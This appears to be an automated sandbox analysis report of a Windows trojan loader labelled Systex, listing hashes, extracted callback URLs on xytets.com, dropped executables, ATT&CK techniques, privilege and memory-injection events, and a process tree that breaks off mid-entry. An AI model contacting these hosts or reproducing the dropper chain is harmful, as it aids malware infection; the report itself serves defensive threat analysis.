systex | fab047544a2ede62325638a3197b9a66c2d6f06967bb84a0dda503be925ae310

Analysis

max time kernel
149s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 02:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Size 376KB
Sample260718-cjpgnscy5k
SHA256 fab047544a2ede62325638a3197b9a66c2d6f06967bb84a0dda503be925ae310
MD5 c9e3407c66dc6351d1e0ac05571e4d35
SHA1 eb068e8b75730d8b63ecfdb8276f966587eaf0b9
SHA512 5833e9ccf890cc185616c2795e3acc119800e931e16ea921433fce32d1b8f8c187f4d7e2762c479230cb9df43003a859d164ee18f2afc077a6fb8adec1930d20
SSDEEP 3072:WViLcu7gaMr4ymKtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:WViLcYcVIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1AE847B04BAA4F0B6D995047800EBAF36967EB4281726CBC7F354CE5D9A113C3A93479F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba
http://xytets.com:2345/t.asp?os=home
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
3436	wuomgezwromjebzt.exe
1720	wuomgezwromjebzt.sys
5648	CreateProcess.exe
1128	cwuomgezwr.exe
3196	CreateProcess.exe
5476	CreateProcess.exe
1984	i_cwuomgezwr.exe
5624	htromgeywq.sys
5944	CreateProcess.exe
4672	zwqomgeytr.exe
940	CreateProcess.exe
2572	CreateProcess.exe
2496	i_zwqomgeytr.exe
4596	lgeyvtroig.sys
5044	CreateProcess.exe
5528	eywqoigayt.exe
4840	CreateProcess.exe
2036	CreateProcess.exe
3708	i_eywqoigayt.exe
3544	vtqljdbvtn.sys
4328	CreateProcess.exe
3772	qoigaytqlj.exe
5692	CreateProcess.exe
1840	CreateProcess.exe
4568	i_qoigaytqlj.exe
3800	xvqnifaysq.sys
3100	CreateProcess.exe
920	vtnlfdxsqk.exe
5572	CreateProcess.exe
4724	CreateProcess.exe
716	i_vtnlfdxsqk.exe
1004	kicausnkif.sys
5596	CreateProcess.exe
4816	kifaxvsnki.exe
4916	CreateProcess.exe
3708	CreateProcess.exe
2284	i_kifaxvsnki.exe
2588	pkhfzxvsmk.sys
4084	CreateProcess.exe
4608	hecausmkec.exe
4316	CreateProcess.exe
5672	CreateProcess.exe
2620	i_hecausmkec.exe
5892	pjhczurpjh.sys
3284	CreateProcess.exe
3836	mhfzxrpjhc.exe
6088	CreateProcess.exe
720	CreateProcess.exe
3656	i_mhfzxrpjhc.exe
1004	trpjhbzurm.sys
2516	CreateProcess.exe
5668	jhbztrmjec.exe
3700	CreateProcess.exe
2812	CreateProcess.exe
3544	i_jhbztrmjec.exe
3176	bzwrojhbzt.sys
1116	CreateProcess.exe
6076	bwuomjebzw.exe
5324	CreateProcess.exe
5068	CreateProcess.exe
4768	i_bwuomjebzw.exe
2984	ebwtrljgbz.sys
984	CreateProcess.exe
1552	vtqljgeywq.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3988_2014372498\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3988_984874641\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3988_984874641\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3988_1780877181\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3988_1780877181\nav_config.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gaysqlidav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ysqkicavsn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ytqljgaytq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zwqomgeytr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtnlfdxsqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bwuomjebzw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gaysqlidav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ysqkicavsn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wrojhbztro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zwqomgeytr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bwuomjebzw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnkfcaxspn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_olgebwtroj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jhbztrmjec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jhbztrmjec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtqljgeywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wrojhbztro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	olgebwtroj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigaytqlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhfzxrpjhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnkfcaxspn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	upmhfzxspk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_upmhfzxspk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cwuomheczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuomgezwromjebzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cwuomgezwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eywqoigayt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hecausmkec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mhfzxrpjhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cwuomgezwr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtnlfdxsqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kifaxvsnki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hecausmkec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtqljgeywq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cwuomheczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kifaxvsnki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eywqoigayt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigaytqlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ytqljgaytq.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5116	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1048	ipconfig.exe
4820	ipconfig.exe
1120	ipconfig.exe
4864	ipconfig.exe
5196	ipconfig.exe
2372	ipconfig.exe
3324	ipconfig.exe
3148	ipconfig.exe
836	ipconfig.exe
2328	ipconfig.exe
836	ipconfig.exe
4560	ipconfig.exe
2692	ipconfig.exe
5148	ipconfig.exe
1004	ipconfig.exe
4804	ipconfig.exe
2024	ipconfig.exe
1124	ipconfig.exe
3488	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134288140142640115"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3797332335-34111092-3597280141-1000\{DC55AB14-C1FE-426F-9FAC-D21583BB623C}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
3436	wuomgezwromjebzt.exe
3436	wuomgezwromjebzt.exe
3436	wuomgezwromjebzt.exe
3436	wuomgezwromjebzt.exe
3436	wuomgezwromjebzt.exe
3436	wuomgezwromjebzt.exe
3436	wuomgezwromjebzt.exe
3436	wuomgezwromjebzt.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3988	msedge.exe
3988	msedge.exe
3988	msedge.exe
3988	msedge.exe
3988	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1984	i_cwuomgezwr.exe
Token: SeDebugPrivilege	2496	i_zwqomgeytr.exe
Token: SeDebugPrivilege	3708	i_eywqoigayt.exe
Token: SeDebugPrivilege	4568	i_qoigaytqlj.exe
Token: SeDebugPrivilege	716	i_vtnlfdxsqk.exe
Token: SeDebugPrivilege	2284	i_kifaxvsnki.exe
Token: SeDebugPrivilege	2620	i_hecausmkec.exe
Token: SeDebugPrivilege	3656	i_mhfzxrpjhc.exe
Token: SeDebugPrivilege	3544	i_jhbztrmjec.exe
Token: SeDebugPrivilege	4768	i_bwuomjebzw.exe
Token: SeDebugPrivilege	2964	i_vtqljgeywq.exe
Token: SeDebugPrivilege	2804	i_ytqljgaytq.exe
Token: SeDebugPrivilege	6096	i_gaysqlidav.exe
Token: SeDebugPrivilege	4560	i_ysqkicavsn.exe
Token: SeDebugPrivilege	2544	i_pnkfcaxspn.exe
Token: SeDebugPrivilege	4412	i_upmhfzxspk.exe
Token: SeDebugPrivilege	4384	i_cwuomheczu.exe
Token: SeDebugPrivilege	2816	i_wrojhbztro.exe
Token: SeDebugPrivilege	1612	i_olgebwtroj.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3988	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3204 wrote to memory of 3436	3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	89
PID 3204 wrote to memory of 4728	3204	2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe	90
PID 4728 wrote to memory of 3988	4728	iexplore.exe	91
PID 3988 wrote to memory of 2532	3988	msedge.exe	92
PID 3988 wrote to memory of 5924	3988	msedge.exe	94
PID 3988 wrote to memory of 5116	3988	msedge.exe	93
PID 3988 wrote to memory of 5924	3988	msedge.exe	94
PID 3988 wrote to memory of 5924	3988	msedge.exe	94
PID 3988 wrote to memory of 828	3988	msedge.exe	95
PID 3988 wrote to memory of 828	3988	msedge.exe	95
PID 3988 wrote to memory of 4084	3988	msedge.exe	97
PID 3988 wrote to memory of 4280	3988	msedge.exe	98
PID 3988 wrote to memory of 4084	3988	msedge.exe	97
PID 3988 wrote to memory of 4084	3988	msedge.exe	97
PID 3988 wrote to memory of 4280	3988	msedge.exe	98
PID 3988 wrote to memory of 4280	3988	msedge.exe	98
PID 3988 wrote to memory of 4832	3988	msedge.exe	99
PID 3988 wrote to memory of 4832	3988	msedge.exe	99
PID 3988 wrote to memory of 4832	3988	msedge.exe	99
PID 3988 wrote to memory of 3512	3988	msedge.exe	100
PID 3988 wrote to memory of 3512	3988	msedge.exe	100
PID 3988 wrote to memory of 3512	3988	msedge.exe	100
PID 3988 wrote to memory of 4332	3988	msedge.exe	102
PID 3988 wrote to memory of 4332	3988	msedge.exe	102
PID 3988 wrote to memory of 4472	3988	msedge.exe	105
PID 3988 wrote to memory of 3556	3988	msedge.exe	106
PID 3988 wrote to memory of 4472	3988	msedge.exe	105
PID 3988 wrote to memory of 3556	3988	msedge.exe	106
PID 3988 wrote to memory of 2972	3988	msedge.exe	108
PID 3436 wrote to memory of 5648	3436	wuomgezwromjebzt.exe	109
PID 3988 wrote to memory of 1904	3988	msedge.exe	111
PID 3988 wrote to memory of 1904	3988	msedge.exe	111
PID 1128 wrote to memory of 3196	1128	cwuomgezwr.exe	113
PID 3988 wrote to memory of 1732	3988	msedge.exe	118
PID 3988 wrote to memory of 1732	3988	msedge.exe	118
PID 3436 wrote to memory of 5476	3436	wuomgezwromjebzt.exe	119
PID 3436 wrote to memory of 5944	3436	wuomgezwromjebzt.exe	123
PID 4672 wrote to memory of 940	4672	zwqomgeytr.exe	125
PID 3436 wrote to memory of 2572	3436	wuomgezwromjebzt.exe	128
PID 3436 wrote to memory of 5044	3436	wuomgezwromjebzt.exe	132
PID 5528 wrote to memory of 4840	5528	eywqoigayt.exe	134
PID 3436 wrote to memory of 2036	3436	wuomgezwromjebzt.exe	137
PID 3436 wrote to memory of 4328	3436	wuomgezwromjebzt.exe	142
PID 3772 wrote to memory of 5692	3772	qoigaytqlj.exe	144
PID 3436 wrote to memory of 1840	3436	wuomgezwromjebzt.exe	147
PID 3988 wrote to memory of 1200	3988	msedge.exe	149
PID 3988 wrote to memory of 2944	3988	msedge.exe	150
PID 3988 wrote to memory of 1088	3988	msedge.exe	151
PID 3436 wrote to memory of 3100	3436	wuomgezwromjebzt.exe	154
PID 920 wrote to memory of 5572	920	vtnlfdxsqk.exe	156
PID 3436 wrote to memory of 4724	3436	wuomgezwromjebzt.exe	159
PID 3436 wrote to memory of 5596	3436	wuomgezwromjebzt.exe	163
PID 4816 wrote to memory of 4916	4816	kifaxvsnki.exe	165
PID 3436 wrote to memory of 3708	3436	wuomgezwromjebzt.exe	168
PID 3436 wrote to memory of 4084	3436	wuomgezwromjebzt.exe	172
PID 4608 wrote to memory of 4316	4608	hecausmkec.exe	174
PID 3436 wrote to memory of 5672	3436	wuomgezwromjebzt.exe	177
PID 3436 wrote to memory of 3284	3436	wuomgezwromjebzt.exe	181
PID 3836 wrote to memory of 6088	3836	mhfzxrpjhc.exe	183
PID 3436 wrote to memory of 720	3436	wuomgezwromjebzt.exe	186
PID 3988 wrote to memory of 2492	3988	msedge.exe	188
PID 3988 wrote to memory of 2492	3988	msedge.exe	188
PID 3436 wrote to memory of 2516	3436	wuomgezwromjebzt.exe	194
PID 5668 wrote to memory of 3700	5668	jhbztrmjec.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-17_c9e3407c66dc6351d1e0ac05571e4d35_amadey_darkgate_elex_rhadamanthys_smoke-loader_stealc_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3204
- C:\Temp\wuomgezwromjebzt.exe
  C:\Temp\wuomgezwromjebzt.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3436
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\cwuomgezwr.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5648
  - - C:\Temp\cwuomgezwr.exe
      C:\Temp\cwuomgezwr.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1128
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3196
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5148
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_cwuomgezwr.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5476
  - - C:\Temp\i_cwuomgezwr.exe
      C:\Temp\i_cwuomgezwr.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1984
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zwqomgeytr.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5944
  - - C:\Temp\zwqomgeytr.exe
      C:\Temp\zwqomgeytr.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4672
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:940
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3324
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zwqomgeytr.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2572
  - - C:\Temp\i_zwqomgeytr.exe
      C:\Temp\i_zwqomgeytr.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2496
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\eywqoigayt.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5044
  - - C:\Temp\eywqoigayt.exe
      C:\Temp\eywqoigayt.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5528
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4840
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1004
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_eywqoigayt.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2036
  - - C:\Temp\i_eywqoigayt.exe
      C:\Temp\i_eywqoigayt.exe ups_ins
      4⤵
